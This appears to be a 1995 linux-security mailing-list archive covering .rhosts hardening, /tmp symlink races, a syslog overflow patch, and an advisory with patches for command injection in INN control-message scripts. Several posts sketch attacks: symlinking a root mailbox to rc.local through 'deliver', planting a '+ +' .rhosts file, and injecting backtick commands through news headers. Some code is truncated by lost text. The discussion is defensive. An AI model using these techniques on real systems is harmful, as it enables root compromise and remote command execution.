(Panzer Boy) Newsgroups: mail.linux-security Subject: Re: elm and /tmp/mbox.* Date: 11 Sep 1995 12:13:43 -0400 Organization: DataHaven Project +1 412 421 4516 Lines: 36 Message-ID: <[email protected]> References: <[email protected]> X-Newsreader: TIN [version 1.2 PL2+color] Sender: [email protected] Precedence: list Tomasz Surmacz ([email protected]) wrote: : > From: Lutz Pressler : > Date: Sat, 2 Sep 1995 01:20:03 +0200 (MET DST) : > Subject: Re: elm and /tmp/mbox.* : > : > I just wrote: : > : > >A quick kind of "fix" is to create for every user who has no .rhosts : > >file an empty one (or to disable r-commands altogether). As I just posted this on the big-linux list, though it is something important to remember. ------------------------------------------------------------------------- As for the renaming of files, I guess you can learn strange things anyday. This should be noted somewhere so that people who are creating root owned ".rhosts" files in peoples directories to prevent them from using them, or similar ideas, knows about it. dhp:~panzer# id uid=0(root) gid=0(root) dhp:~panzer# touch file > id uid=405(panzer) gid=100(users) > ls -l file -rw-r--r-- 1 root root 0 Sep 9 13:49 file > mv file file2 > ls -l file file2 ls: file: No such file or directory -rw-r--r-- 1 root root 0 Sep 9 13:49 file2 ------------------------------------------------------------------------- -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." linux-security/1995/linux-security.950912100664 1767 1767 31427 6025377030 17264 0ustar majdommajdomFrom [email protected] Tue Sep 12 04:18:27 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id EAA23951; Tue, 12 Sep 1995 04:08:00 -0400 Received: from dir.etsit.upm.es ([email protected] [138.100.17.10]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id DAA23748; Tue, 12 Sep 1995 03:49:42 -0400 Received: (alvaro@localhost) by dir.etsit.upm.es (8.6.10/4.8) id JAA07572 for [email protected]; Tue, 12 Sep 1995 09:49:30 +0200 Date: Tue, 12 Sep 1995 09:49:30 +0200 From: Alvaro Martinez Echevarria Message-Id: <[email protected]> To: [email protected] Subject: security hole in deliver Sender: [email protected] Precedence: list >> >> On 4 Sep 1995, Panzer Boy wrote: >> >> > [mod: The obvious alternative would be to have the mail drop directory >> > mode 1777... Dunno how sendmail and smail react to forwarding >> > statements in mailboxes not owned by the proper user --okir] >> >> If i understand this correctly, there are some security holes with this >> approach. I don't know current mailer's behavior, but one of possible >> problems is in fact that everyone can create any nonexistent file in mail >> drop directory. For example, link to someones .rhosts or something >> like.. >> Just one example: the last version of deliver I tried didn't test if mailboxes were symlinks before delivering mail. This allos you to overwrite any file on the system, given that you have write permission on /var/spool/mail and that /var/spool/mail/root doesn't exist. I symlinked /var/spool/mail/root to /etc/rc.d/rc.local and then made something like: hck@site:~$ deliver root < Message-Id: <[email protected]> Subject: Re: syslog(2), libc-4.7.4: Versions confuse me. To: [email protected] (Jakob Schiotz) Date: Tue, 12 Sep 1995 10:29:44 +0200 (MET DST) Cc: [email protected] In-Reply-To: <[email protected]> from "Jakob Schiotz" at Sep 11, 95 10:48:47 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 1127 Sender: [email protected] Precedence: list Jakob Schiotz said: > The release notes (release.libc-4.7.4) say that I need gcc 3.6.3 (Got > that one), binutils 2.5.2l.17 (got 2.5.2.6), and ld.so 1.6.7 (got > 1.6.5). > > So it looks like I should update binutils and ld.so. However the > release notes for binutils (release.binutils-2.5.2l.17) say that I > need libc-5.0.9 or higher, and that it's for ELF ! Also, the ld.so > that I can find is version 1.7.3 - isn't that an ELF version? > > What should I do? Just install libc-4.7.4 (and pray to the Gods of > Linux)? Or install install some/all of the dependencies? Or > (shudder) migrate to ELF? Or just realise that sometimes fixing a > security hole can do more damage than the hacker could possibly do :-) I just installed /lib/libc.so.4.7.4 (only the binary, no include files or anything else), fixed utmp symlinks (blame the fsstnd people for changing the standard too often...) and ran ldconfig. The system is slackware 2.1 (gcc 2.5.8, libc 4.5.26). On another, much older box I had to upgrade /lib/ld.so and /sbin/ldconfig (to the ones from slackware 2.1). Both machines still seem to work :-). Marek From [email protected] Tue Sep 12 14:53:52 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id OAA28848; Tue, 12 Sep 1995 14:44:47 -0400 Received: from red.paston.co.uk (red.paston.co.uk [194.129.188.3]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id OAA28728; Tue, 12 Sep 1995 14:34:08 -0400 Received: from net22.paston.co.uk by red.paston.co.uk (5.x/SMI-SVR4) id AA11691; Tue, 12 Sep 1995 19:27:09 +0100 Date: Tue, 12 Sep 1995 19:27:07 +0100 Message-Id: <[email protected]> X-Sender: [email protected] X-Mailer: Windows Eudora Version 1.4.3 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: [email protected] From: [email protected] (Martin Hargreaves) Subject: Re: elm and /tmp/mbox.* Sender: [email protected] Precedence: list >: > >A quick kind of "fix" is to create for every user who has no .rhosts >: > >file an empty one (or to disable r-commands altogether). [Important note that users can move files if they own the directory] I have a script that creates .forward, .rhosts, .netrc as d--------- in the users homedir. A cron job checks every night for .rhosts _files_ (-type f) and mails me or raises a low level alert. I can then check with the user what they are doing and why they need one of these files.... Regards, Martin. ######################################################################## # Martin Hargreaves Contract Unix System Administrator # # ([email protected]) Unix & Network Security, WWW # # Computational Chemistry # ######################################################################## [Mod: Another trick would be to create them as zero-length files and then use 'chattr' to make them immutable. Only root can change the immutable attribute, thus the user can make no changes (no links, renames, deletions, or writes--even if they own the file and/or directory) without root's permission. --Jeff] From [email protected] Tue Sep 12 15:15:05 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA29055; Tue, 12 Sep 1995 15:13:43 -0400 Received: from passer.osg.gov.bc.ca (passer.osg.gov.bc.ca [142.32.110.29]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id KAA27389; Tue, 12 Sep 1995 10:24:16 -0400 Received: from cwsys.cwent.com ([email protected] [142.31.240.189]) by passer.osg.gov.bc.ca (8.6.12/8.6.10) with ESMTP id HAA04762; Tue, 12 Sep 1995 07:24:09 -0700 Received: from cwsys (cy@localhost [127.0.0.1]) by cwsys.cwent.com (8.6.12/8.6.10) with ESMTP id HAA00544; Tue, 12 Sep 1995 07:20:26 -0700 Message-Id: <[email protected]> Reply-to: [email protected] X-Mailer: Xmh To: Jakob Schiotz cc: [email protected], [email protected] Subject: Re: syslog(2), libc-4.7.4: Versions confuse me. In-reply-to: Your message of "Mon, 11 Sep 1995 10:48:47 CDT." <[email protected]> Date: Tue, 12 Sep 1995 07:20:21 -0700 From: Cy Schubert Sender: [email protected] Precedence: list [mod: quoting trimmed. --okir] > Hi Security Gurus! > > I am trying to defuse the syslog(2) bomb by installing libc version > 4.7.4 as recently posted here, but I made the mistake of reading the > documentation... :-) > I did too and decided to customize the installation instead. Since I work as a S/A and get called at all hours of the night, I need my PC to dial in to work at a moments notice to fix any problems (it beats the 1/2 drive in to work to fix). My solution was to retrofit the patch back to libc 4.6.27 until I decide to purchase an upgraded version of the Slackware CD. It's been running on my system since 01 Sept. Prior to installing the patch the test program would abort with a segmentation violation, now it works. Following is my retrofitted patch for anyone who wishes to continue using libc 4.6.27 --- syslog.c~ Tue Aug 29 22:14:25 1995 +++ syslog.c Tue Aug 29 22:14:25 1995 @@ -133,19 +133,20 @@ if (LogTag) { *p++ = ':'; *p++ = ' '; } /* Substitute error message for %m. */ { - register char ch, *t1, *t2; + register char ch, *t1; char *strerror(); - for (t1 = fmt_cpy; ch = *fmt; ++fmt) + for (t1 = fmt_cpy; (ch = *fmt) != '\0' && t1 #include static char x[6]= {'H','E','L','L','O',0}; void main() { char buf[4096]; int ct; for(ct=0;ct<4095;ct++) buf[ct]='X'; openlog("testprog",LOG_PID, LOG_AUTHPRIV); printf("Check snprintf\n"); snprintf(x,3,buf); if(x[4]!='O') fprintf(stderr,"snprintf is broken\n"); printf("Testing syslog\n"); syslog(LOG_ERR|LOG_USER,buf); closelog(); } I hope this helps. Regards, Phone: (604)389-3827 Cy Schubert OV/VM: BCSC02(CSCHUBER) Open Systems Support BITNET: [email protected] BC Systems Corp. Internet: [email protected] [email protected] "Quit spooling around, JES do it." From [email protected] Tue Sep 12 17:39:30 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id RAA30040; Tue, 12 Sep 1995 17:27:49 -0400 Received: from i17linuxb.ists.pwr.wroc.pl ([email protected] [156.17.35.8]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id EAA24559; Tue, 12 Sep 1995 04:57:12 -0400 Received: (from marekm@localhost) by i17linuxb.ists.pwr.wroc.pl (8.6.12/8.6.9) id KAA02282; Tue, 12 Sep 1995 10:56:54 +0200 From: Marek Michalkiewicz Message-Id: <[email protected]> Subject: Re: elm and /tmp/mbox.* To: [email protected] (Tomasz Surmacz) Date: Tue, 12 Sep 1995 10:56:53 +0200 (MET DST) Cc: [email protected] In-Reply-To: <[email protected]> from "Tomasz Surmacz" at Sep 10, 95 11:12:04 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 1257 Sender: [email protected] Precedence: list Tomasz Surmacz: > No. The .rhosts file is just *one* quick method of getting into user's > account. If he has .rhosts file already you can attack him using > thousands of other methods, provided you can create arbitrary files in > user's home directory (.cshrc, .profile, .login, .logout (how many of > you have a .logout file?)). Other choices are countless - it is > impossible to thing of just everything. The only way is to correct this > misbehaviour at the source - the elm program in this case. This is a more general problem. Any program creating files in /tmp (not just elm) can cause the same problem if someone knows the name of temp file in advance and creates a symlink under that name. It would be nice to have a way to prevent creating symlinks in /tmp. The setuid bit on directories is not used for anything - maybe it could be used for that? If it is set, no one except root and the owner of the directory can create symlinks in it. This works even for very old programs which don't know anything about symlinks and lstat(). It shouldn't be too hard to implement in the kernel. Comments? Does anyone know what elvis (/usr/bin/vi on most Linux systems) does when creating its temp files? It may have the same problem... Marek [mod: elvis (and nvi) use the pid appended to a fixed basename. Same goes for elm when composing mail, countless shell scripts, and probably many more. It seems more and more unlikely to me that the `safe open' really flies as long as scripts do a `cat > $TMPDIR/art$$'. --okir] linux-security/1995/linux-security.950917100664 1767 1767 21746 6027051772 17300 0ustar majdommajdomFrom [email protected] Sun Sep 17 12:01:00 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id LAA00583; Sun, 17 Sep 1995 11:38:21 -0400 Received: from dfw.net (dfw.net [198.175.15.10]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id BAA23390; Sun, 17 Sep 1995 01:20:06 -0400 Received: by dfw.net (4.1/SMI-4.1) id AA22025; Sun, 17 Sep 95 00:18:01 CDT Date: Sun, 17 Sep 1995 00:18:00 -0500 (CDT) From: Aleph One To: [email protected] Subject: Wher to find minicom-1.71 Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list As someone pointed out to me I did not include where to find minicom 1.71. In the alert. Sorry this was an oversight. You can find it in sunsite.unc.edu under /pub/Linux/apps/comm/ or one of its mirros. Aleph One / [email protected] http://underground.org/ KeyID 1024/948FD6B5 Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01 From [email protected] Sun Sep 17 12:01:00 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id LAA00576; Sun, 17 Sep 1995 11:38:04 -0400 Received: from teleportal.com ([email protected] [204.157.166.18]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id RAA15360; Sat, 16 Sep 1995 17:05:48 -0400 Received: from teleportal ([email protected] [204.157.166.18]) by teleportal.com (8.6.12/8.6.9) with SMTP id OAA06873; Sat, 16 Sep 1995 14:57:36 -0500 Message-Id: <[email protected]> From: Linas Vepstas Date: Sat, 16 Sep 95 14:57:36 -500 To: [email protected], [email protected] Mime-Version: 1.0 X-Mailer: Mozilla/1.0N (X11; Linux 1.1.59 i486) Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Subject: source routing X-URL: http://www.sonic.net:80/hypermail/security/ Sender: [email protected] Precedence: list Hi, This is a kind of newbie question, but ... in /var/adm/messages, I am starting to see a whole bunch of messages such as kernel: ICMP: 143.166.213.152: Source Route Failed Why? what do these messages mean? I did a traceroute 143.166.213.152 and note that traceroute starts reporting an "infinite loop" at some point (typically 20 or more hops away). By "infinite loop" I mean that the same router starts showing up over and over again, with no appearent forward progress of the packet. What does this mean?? Finally -- the route taken appears to be very odd. I live in Austin, Texas, yet here is part of the packets path 4 Aus1-t1/s0.hou1.tlc.net (204.157.152.2) 33.878 ms 37.229 ms 33.752 ms 5 net99-hous-1-s0/T1.net99.net (204.157.1.69) 40.499 ms 35.704 ms 34.084 ms 6 mae-e-dc-1.Net99.Net (204.157.0.133) 78.716 ms 85.111 ms 91.283 ms 7 cpe2.Washington.mci.net (192.41.177.181) 89.399 ms 84.709 ms 85.065 ms 8 border2-hssi4-0.Washington.mci.net (204.70.57.9) 102.276 ms 95.192 ms 83.993 ms 9 core-fddi-1.Washington.mci.net (204.70.3.1) 104.727 ms 87.206 ms 90.597 ms 10 core2-aip-4.Washington.mci.net (204.70.1.74) 148.77 ms 178.611 ms 232.062 ms 11 core1-hssi-3.Greensborough.mci.net (204.70.1.129) 111.588 ms 104.393 ms 97.474 ms 12 core2-hssi-3.Atlanta.mci.net (204.70.1.125) 135.659 ms * 102.321 ms 13 core1-hssi-2.Dallas.mci.net (204.70.1.114) 121.311 ms 123.483 ms 140.983 ms 14 core-hssi-3.Houston.mci.net (204.70.1.122) 153.733 ms 149.494 ms 152.808 ms 15 border1-fddi-0.Houston.mci.net (204.70.2.98) 152.357 ms 150.209 ms 143.97 ms 16 * sesquinet.Houston.mci.net (204.70.36.6) 129.659 ms 148.644 ms 17 HOU4-F0.SESQUI.NET (192.67.13.89) 158.969 ms 170.033 ms 151.709 ms 18 HOU1-F20.SESQUI.NET (128.241.200.81) 149.937 ms 165.028 ms 152.638 ms 19 AU1-S1.SESQUI.NET (128.241.9.130) 164.5 ms 155.816 ms 157.871 ms 20 DELL-S0.SESQUI.NET (128.241.4.162) 161.604 ms 179.101 ms 191.744 ms Now, I'm wildly guessing that DELL-S0 is a machine in Austin Texas, home of Dell computer. And I'm wildly guessing that AU1-S1 is in Austin as well. And that HOU1-F20 is in Houston, Texas. And, with some more guessing, my packets went through Dallas, TX, Greensborough, North Carolina, Atlanta Georgia, and Washington DC. So it would seem my packets left austin, went to houston, bounced around the country for a while, and finally came back to austin via houston. (Is that why my internet provider charges those fees?) Seriously, though -- should I assume that someone has a packet sniffer installed on one of these machines, and is listening to everything I say? Should I be worried for any reason? Should I be disabling something in my kernel? Is this what happens when you don't ignore ICMP redirect messages? Inquiring minds want to know ... --linas From [email protected] Sun Sep 17 12:59:33 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id MAA01510; Sun, 17 Sep 1995 12:55:22 -0400 Received: from brewhq.swb.de ([email protected] [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id LAA00588; Sun, 17 Sep 1995 11:38:36 -0400 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0suLmp-0005AsC; Sun, 17 Sep 95 17:37 MET DST Received: by monad.swb.de (smail3.1.29.0 #5) id m0suMGj-00005AC; Sun, 17 Sep 95 18:08 MET DST Message-Id: From: [email protected] (Olaf Kirch) Subject: .rhosts summary To: [email protected] Date: Sun, 17 Sep 1995 18:08:36 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 2494 Sender: [email protected] Precedence: list Hi all, There have been a number of follow-ups to the discussion on how make sure users don't use rhosts files. To bring this discussion to an end, here's a summary of the posts. I hope this puts the issue to rest; please send any comments to the respective posters. Olaf ------------------------------------------------------------------ Martin Hargreaves had suggested in an earlier message that admins creates directories named .rhosts, .netrc, etc, and check regularly whether they have been replace by regular files (or symlinks). Richard Ellis : : For those listening who may not immediately grasp the subtlety of why this : example occurs, it is because the ability to change the name of a file is : controlled by the ownership and permissions on the directory that contains : the file name, not by the ownership and permissions of the file. Changing a : file name only involves writing to the directory which contains the name, : not writing to the file. : : In the example above, panzer had write access to the ~/panzer directory, and : therefore was allowed to change the name of the file, even though the file : was owned by root. Jon Hamilton : : You're still going to lose if you don't put at least one file that the : user can't remove in that directory. [example deleted] : A much better solution is to get a rshd that you can tell to ignore .rhosts : files. Not allowing .forward files is a bit anal; again, if you're worried : about people piping mail to programs, turn it off in sendmail. Matt : : Comment out rservices out of inetd, the damage is already done. As, : directories mean nothing also. Another, for some people cryptic, example: [example shows how a .rhosts directory is renamed, and a file is created containing `+ +' instead.] Daniel Pewzner : : Why not just run rlogind and rshd with -l from inetd.conf. Wouldn't that : cover it? Alex Yuriev : : One can always turn on a t-bit to prevent users from messing around with : root's files. [Note: unfortunately, this does not work, because users can still turn off the t bit on their home directories.] ------------------------------------------------------------------ Marek Michakiewicz had suggested to re-use the setuid bit on directories as a flag that tells the kernel not to allow the creation of symlinks in this directory. Tomasz Surmacz : : It is [used for something else]. At least on SunOS/Solaris. : If the directory is set with drwxr-xr-x permissions, all files created : there are created with System V syntax, ie. the group owner will be the : same as primary group of the user creating files. If the s bit is set : (drwxr-sr-x) files are created with the BSD behaviour - ie. the group : owner of file will be the same as the group owner of the directory. : : But it does not work for tmpfs file system (and /tmp is usually : tmpfs), so maybe it could be used this way? ------------------------------------------------------------------ -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. linux-security/1995/linux-security.950918100664 1767 1767 33207 6027275767 17310 0ustar majdommajdomFrom [email protected] Mon Sep 18 10:02:10 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id JAA23886; Mon, 18 Sep 1995 09:51:37 -0400 Received: from insosf1.netins.net ([email protected] [167.142.225.5]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id NAA01987; Sun, 17 Sep 1995 13:35:23 -0400 Received: (from root@localhost) by insosf1.netins.net id MAA02526; Sun, 17 Sep 1995 12:35:15 -0500 Received: (from rtucker@localhost) by crasher2.ttgcitn.com (8.6.12/8.6.12) id MAA19147; Sun, 17 Sep 1995 12:18:25 -0500 From: Ryan Tucker Message-Id: <[email protected]> Subject: Re: source routing To: [email protected] (Linas Vepstas) Date: Sun, 17 Sep 1995 12:18:20 -0500 (CDT) Cc: [email protected], [email protected] In-Reply-To: <[email protected]> from "Linas Vepstas" at Sep 16, 95 02:57:36 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 2104 Sender: [email protected] Precedence: list [mod: please let's keep this focused on the source route issue. Routing policy on the Internet is a bit off-topic. --okir] Linas Vepstas splattered this onto /dev/hda4: > some point (typically 20 or more hops away). By > "infinite loop" I mean that the same router starts > showing up over and over again, with no appearent > forward progress of the packet. What does this > mean?? It means that the router is grossly misconfigured. Last time I saw a problem like that, it turned out that a run of fiber was cut. The time before that? Reconfigured with a direct lightning hit. > So it would seem my packets left austin, went to houston, > bounced around the country for a while, and > finally came back to austin via houston. (Is that > why my internet provider charges those fees?) Typical. The Internet is not geographically-based. For example, a trip of about 4 inches between two machines in my office goes through Des Moines, Kansas City, Willow Springs, Denver, back to Des Moines, and to my other machine. > Seriously, though -- should I assume that someone > has a packet sniffer installed on one of these > machines, and is listening to everything I say? It's always possible. If anything, the packets not getting to your destination lessens the possibility slightly. > Should I be worried for any reason? Should I be > disabling something in my kernel? Is this what > happens when you don't ignore ICMP redirect messages? I get it here. Lots of weird errors in syslog. Sep 17 12:08:41 crasher2 icmpinfo: ICMP_Dest_Unreachable[--Sub-Type-OUT-OF-RANGE--] < 128.241.4.162 [DELL-S0.SESQUI.NET] > 143.166.213.152 sp=47818 dp=33478 seq=0x00140000 sz=36(+20) Sep 17 12:08:44 crasher2 kernel: ICMP: 143.166.213.152: Source Route Failed. Nothing looks excessively nasty, since (i may [and probably am] be wrong) the Source Route Failed message seems to come from 143.166.213.152, the broked router. At least it wasn't misconfigured with a stray lightning bolt. -- ---Ryan Tucker ttgcitn.com owner [email protected] nether.net irc administrator -http://www.netins.net/showcase/rtucker netins.net user development group NetINS 28.8kb/sec 1-800 dialup -- 15 cents a minute -- 1-800-546-6587 From [email protected] Mon Sep 18 10:02:10 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id JAA23910; Mon, 18 Sep 1995 09:56:10 -0400 Received: from inorganic5.chem.ufl.edu ([email protected] [128.227.16.134]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id OAA02378; Sun, 17 Sep 1995 14:00:37 -0400 Received: (from jlewis@localhost) by inorganic5.chem.ufl.edu (8.6.11/8.6.9) id OAA22662; Sun, 17 Sep 1995 14:00:27 -0400 Date: Sun, 17 Sep 1995 14:00:27 -0400 (EDT) From: Jon Lewis To: Linas Vepstas cc: [email protected] Subject: Re: source routing In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Sat, 16 Sep 1995, Linas Vepstas wrote: > Finally -- the route taken appears to be very odd. > I live in Austin, Texas, yet here is part of the > packets path > > So it would seem my packets left austin, went to houston, > bounced around the country for a while, and > finally came back to austin via houston. (Is that > why my internet provider charges those fees?) That's the way the internet works. If I do a traceroute from a commercial provider in town to my system on the UF campus (a mere 5 miles or so by car) the packets go from the commercial provider to Miami, Virginia, Washington (DC I assume), one of the Carolinas, and Georgia, before finally coming back to Gainesvill, FL. And thats on a good day when there are no router outages. On a bad day, the packets bounce through Texas before coming back. Speaking of source routes though, is there any reason uu.net's news server would be trying to send source routed packets to a news server it feeds? ------------------------------------------------------------------ Jon Lewis | Mime attachments are OK [email protected] | But please ask before sending http://inorganic5.chem.ufl.edu | unsolicited huge files. | _____Finger [email protected] for PGP public key_____ From [email protected] Mon Sep 18 10:02:11 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id JAA23875; Mon, 18 Sep 1995 09:49:01 -0400 Received: from brewhq.swb.de ([email protected] [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id GAA23276; Mon, 18 Sep 1995 06:40:57 -0400 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0sudZo-0005ApC; Mon, 18 Sep 95 12:37 MET DST Received: by monad.swb.de (smail3.1.29.0 #5) id m0sudxv-00003dC; Mon, 18 Sep 95 13:02 MET DST Message-Id: From: [email protected] (Olaf Kirch) Subject: Problem with INN 1.4sec To: [email protected] Date: Mon, 18 Sep 1995 13:02:22 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 5005 Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Hi all, there's a problem with INN1.4sec as distributed on sunsite and probably a number of Linux distributions. Control messages are parsed by shell scripts, which (at least for some shells) allow remote users to execute arbitrary commands on your news host. I tested this problem with bash 1.13.1-CWRU; other shells may or may not allow this kind of attack. The problem involves putting `...` or $(...) commands in certain header fields (Control, From, and Subject), and possibly the body (newgroup messages). According to Rich Salz, this has been discussed on Usenet already; the suggested fix is to use tr to filter out unwanted characters. Please test out the patch attached below; if you find any problem with it, please mail me as soon as possible. Otherwise, I will post a message to linux-alert concerning this in a day or two. (The patch also adds a missing sed filter for mailx tilde escapes). A second problem I came across has to do with rnews. If you have rnews installed, users may execute any commands by faking certain types of news batches. rnews feeds these batches to small shell scripts below LIBDIR/bin/rnews for unpacking, passing on the entire environment given to it by the calling process--including PATH and IFS. The sample c7unbatcgh script included in the distribution is not aware of this situation, and executes `decode | /bin/compress -d'. A possible fix for this may be to insert the following lines at the top of these scripts: : IFS=" " : PATH=/bin:/usr/bin : . /usr/lib/news/innshellvars : PATH=${RNEWS}:/bin:/usr/bin Alternatively, you may want to simply set IFS to " " and invoke all programs using their full pathnames. While you're at it, you may also wish to make sure that TMPDIR points to a directory accessible only to news, for instance SPOOLDIR/tmp. INN shell scripts create a hell of a lot of tempfiles with names such as inp$$, art$$, and so on, which can be fooled quite easily. The TMPDIR variable is set in LIBDIR/innshellvars. Best wishes Olaf - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. ****************************************************************** ******** patch for INN. Indented to avoid pgp garbling *********** ****************************************************************** --- parsecontrol.old Fri Sep 15 10:24:35 1995 +++ parsecontrol Fri Sep 15 10:36:30 1995 @@ -6,9 +6,12 @@ . /usr/lib/news/innshellvars WRITELOG=${NEWSBIN}/writelog +# Avoid `...` and $(...) in headers. These seem to be safe +GOODCHARS="[A-Za-z0-9_: <@>!\"'\$\010\012-]" + AZ=ABCDEFGHIJKLMNOPQRSTUVWXYZ az=abcdefghijklmnopqrstuvwxyz -FROM="`echo \"$1\" | tr ${AZ} ${az}`" +FROM="`echo \"$1\" | tr ${AZ} ${az} | tr -cd \"${GOODCHARS}\"`" REPLYTO="$2" case "$3" in "") @@ -29,20 +32,23 @@ test -z "${PROG}" && PROG=all ${EGREP} "^(${PROG}|all):" <${CTLFILE} >${TEMP} +ART=${TMPDIR}/art$$ +tr -cd "${GOODCHARS}" < ${ARTICLE} > ${ART} + ## Get any arguments. -if grep "^Control:[ ]*${PROG}" <${ARTICLE} >/dev/null 2>&1 ; then - set X `${SED} -n -e "s/^Control:[ ]*${PROG}//p" -e '/^$/q' <${ARTICLE}` +if grep "^Control:[ ]*${PROG}" <${ART} >/dev/null 2>&1 ; then + set X `${SED} -n -e "s/^Control:[ ]*${PROG}//p" -e '/^$/q' <${ART}` shift else if grep "^Subject:[ ]*cmsg[ ]*${PROG}" \ - <${ARTICLE} >/dev/null 2>&1 ; then + <${ART} >/dev/null 2>&1 ; then set X `${SED} -n -e "s/^Subject:[ ]*cmsg[ ]*${PROG}//p" \ - -e '/^$/q' <${ARTICLE}` + -e '/^$/q' <${ART}` shift else - rm -f ${TEMP} - ${MAILCMD} -s "Bad header by ${FROM}" \ - ${NEWSMASTER} <${ARTICLE} + ${SED} -e 's/^~/~~/' <${ART} | \ + ${MAILCMD} -s "Bad header by ${FROM}" ${NEWSMASTER} + rm -f ${TEMP} ${ART} exit fi fi @@ -70,7 +76,7 @@ ;; esac" done -rm -f ${TEMP} +rm -f ${TEMP} ${ART} IFS="`echo stn | tr stn ' \011\012'`" LOGFILE=mail --- bin/control/newgroup.old Fri Sep 15 10:50:56 1995 +++ bin/control/newgroup Fri Sep 15 10:50:05 1995 @@ -3,6 +3,7 @@ ## Newgroup control-message handler PROG=newgroup +GOODCHARS="[A-Za-z0-9_: <@>!\"'\$\010\012-]" ## Some shells don't pass in $* unless we explicitly pass it in here. ## =()<. @<_PATH_PARSECTL>@ "$@">()= @@ -127,7 +128,7 @@ p q } -b scan"` +b scan" | tr -cd "${GOODCHARS}"` test -z "${DESC}" && { DESC=`${EGREP} "^$1 " ${NEWSGROUPS} | ${SED} "s/[ ]*(Moderated)//"` test -z "${DESC}" && DESC="$1 ?" ****************************************************************** -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAgUBMF1RauFnVHXv40etAQGg/QP+La/8giuHSpVODbYM4PhrOqYldWdHjxH2 F5bjgSDvI6/4Cw7xaLVirEbfqMgTacJBEq5TJ/Ddgtls4WGsA3JLMsaBXltF7u5/ 66o7/cvOgXCfpTi09WGgyL6Ns/4dej5s89FF7qrYhUb6kPbdjsxQfbobwhorsPFv z92AldoUKg4= =p2HJ -----END PGP SIGNATURE----- From [email protected] Mon Sep 18 10:02:11 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id JAA23897; Mon, 18 Sep 1995 09:53:40 -0400 Received: from pier.botik.ru ([email protected] [193.232.174.254]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id CAA21958; Mon, 18 Sep 1995 02:38:51 -0400 Received: from hole.botik.yaroslavl.su [193.232.174.2] by pier.botik.ru with smtp (Smail3.1.28.1/botik #65) id m0suZpH-000R5mC; Mon, 18 Sep 95 10:37 +0400 Received: by hole.botik.yaroslavl.su (Smail3.1.28.1 #16) id m0suZpG-000CkVC; Mon, 18 Sep 95 10:37 +0400 Message-Id: Date: Mon, 18 Sep 95 10:37 +0400 To: Marek Michalkiewicz Cc: [email protected] References: <[email protected]> In-Reply-To: <[email protected]>; from Marek Michalkiewicz at Tue, 12 Sep 1995 10:56:53 +0200 (MET DST) Organization: Program Systems Inst., Pereslavl-Zalessky, Russia From: [email protected] (Yury Shevchuk) Subject: Re: elm and /tmp/mbox.* Lines: 23 Sender: [email protected] Precedence: list In message <[email protected]> Marek Michalkiewicz writes: >This is a more general problem. Any program creating files in /tmp (not >just elm) can cause the same problem if someone knows the name of temp >file in advance and creates a symlink under that name. It would be nice >to have a way to prevent creating symlinks in /tmp. The setuid bit on >directories is not used for anything - maybe it could be used for that? >If it is set, no one except root and the owner of the directory can >create symlinks in it. This works even for very old programs which >don't know anything about symlinks and lstat(). It shouldn't be too >hard to implement in the kernel. Comments? Even simpler: since symlinks in *any* world-writable directory are security holes, we'll do good by just prohibiting symlinks if (dir_mode & 0x2). This might seem a bit too quick, but there are precedents: setuid shell scripts are disabled in Linux for security 